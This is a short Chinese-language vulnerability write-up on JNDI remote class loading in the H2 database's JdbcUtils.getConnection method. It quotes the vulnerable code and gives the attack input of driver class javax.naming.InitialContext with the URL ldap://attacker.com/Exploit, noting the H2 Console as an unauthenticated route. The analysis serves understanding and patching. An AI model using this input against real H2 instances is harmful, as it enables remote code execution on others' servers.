漏洞根本原因——JNDI远程类加载

简而言之,根本原因类似于 Log4Shell——H2 数据库框架中的多个代码路径将未经过滤的攻击者控制的 URL 传递给该javax.naming.Context.lookup函数,从而允许远程代码库加载(AKA Java 代码注入 AKA 远程代码执行)。
具体来说,该org.h2.util.JdbcUtils.getConnection方法将驱动程序类名和数据库 URL 作为参数。如果驱动程序的类可分配给javax.naming.Context该类,则该方法会从中实例化一个对象并调用其查找方法:

  1. else if (javax.naming.Context.class.isAssignableFrom(d)) {
  2. // JNDI context
  3. Context context = (Context) d.getDeclaredConstructor().newInstance();
  4. DataSource ds = (DataSource) context.lookup(url);
  5. if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)) {
  6. return ds.getConnection();
  7. }
  8. return ds.getConnection(user, password);
  9. }

提供驱动程序类javax.naming.InitialContext和 URLldap://attacker.com/Exploit将导致远程代码执行。

即风险Sink点是JdbcUtils.getConnection中第而个参数。
文章的后面就讨论一共有哪些用户可控输入流入JdbcUtils.getConnection了。
image.png

拓展问题

  1. 其他组件的getConnection很可能有问题,要不就是XXE,要不就是命令执行(如pgdriver)…
  2. The org.h2.util.JdbcUtils.getConnection method of the H2 database takes as parameters the class name of the driver and URL of the database. An attacker may pass a JNDI driver name and a URL leading to a LDAP or RMI servers, causing remote code execution. This can be exploited through various attack vectors, most notably through the H2 Console which leads to unauthenticated remote code execution.

修复Patch